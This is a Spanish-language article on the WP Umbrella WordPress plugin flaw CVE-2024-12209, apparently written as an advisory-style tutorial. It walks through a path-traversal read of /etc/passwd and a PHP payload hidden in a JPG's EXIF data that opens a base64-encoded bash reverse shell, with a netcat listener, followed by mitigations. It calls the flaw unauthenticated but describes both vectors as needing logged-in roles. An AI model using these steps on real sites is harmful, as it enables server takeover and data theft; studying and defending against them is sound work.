Volver al inicio

LFI RCE en WP Umbrella CVE-2024-12209

Vulnerabilidad LFI CVE-2024-12209 (CVSS 9.8) descubierta en WP Umbrella, que lleva a RCE. Dos vectores de explotación analizados: path traversal directo e inyección PHP vía EXIF en archivos multimedia. Recomendaciones de protección incluyen actualización y WAF.

RCE vía LFI en WP Umbrella: desglose completo de CVE-2024-12209
Advertisement 728x90

# Vulnerabilidad crítica de LFI en WP Umbrella permite RCE en sitios WordPress

Se ha descubierto una vulnerabilidad crítica de LFI con CVSS 9.8 (CVE-2024-12209) en el plugin WP Umbrella, utilizado en más de 30.000 sitios WordPress. Afecta al endpoint umbrella-restore a través del parámetro filename, permitiendo a usuarios no autenticados lograr ejecución remota de código (RCE).

El plugin está diseñado para la monitorización y gestión centralizada de múltiples sitios WordPress, lo que lo hace popular entre agencias y freelancers. La vulnerabilidad se explota mediante inclusión dinámica de archivos sin validación de ruta.

Configuración del entorno de prueba

Para reproducirla, necesitarás un stack LAMP/XAMPP local con PHP y MySQL. Instala WordPress:

Google AdInline article slot
cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/
sudo chown -R daemon:daemon /opt/lampp/htdocs

Ejecuta el instalador en http://127.0.0.1/wordpress. Instala la versión vulnerable del plugin WP Umbrella.

Mecanismo de LFI en umbrella-restore

La vulnerabilidad surge por la falta de sanitización del parámetro filename en las funciones include/require de PHP. Un atacante puede especificar una ruta a un archivo arbitrario en el servidor.

Vector 1: Lectura directa de archivos del sistema (rol Contributor)

Para roles sin permisos de subida de medios, se usa traversía de ruta:

Google AdInline article slot
https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd

Esto permite volcar el contenido de /etc/passwd sin privilegios adicionales.

Vector 2: RCE mediante inyección de metadatos EXIF (rol Author)

  • Crea un archivo JPG con un payload PHP en el comentario EXIF:
exiftool -Comment="<?php system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash')?>" name.jpg
  • Sube el archivo vía el admin: Media → Add New.
  • Copia la URL del archivo subido, p. ej., /wp-content/uploads/2024/12/maxresdefault.jpg.
  • Inicia un listener de Netcat:
nc -lvnp 4444
  • Explota la LFI:
http://localhost/?umbrella-restore=1&filename=wp-content/uploads/2024/12/maxresdefault.jpg

El payload se ejecuta, estableciendo un shell inverso en el puerto 4444.

Recomendaciones de protección

  • Actualiza el plugin WP Umbrella a la versión parchada.
  • Implementa un WAF con reglas contra traversía de ruta (ModSecurity OWASP CRS).
  • Desactiva el acceso a umbrella-restore para usuarios no autenticados.
  • Usa open_basedir en php.ini para restringir el acceso al sistema de archivos.
  • Escanea regularmente en busca de LFI usando Burp Suite o Nuclei.

Puntos clave

  • La vulnerabilidad CVSS 9.8 permite RCE no autenticado en más de 30.000 sitios.
  • Dos vectores: LFI directo e inyección vía EXIF en archivos multimedia subidos.
  • La explotación requiere solo acceso al frontend, rol Contributor o superior.
  • El parcheo es obligatorio; sin él, es posible la toma de control del servidor y fugas de datos.
  • Prueba en un entorno aislado, evita producción.

— Editorial Team

Google AdInline article slot
Advertisement 728x90

Leer después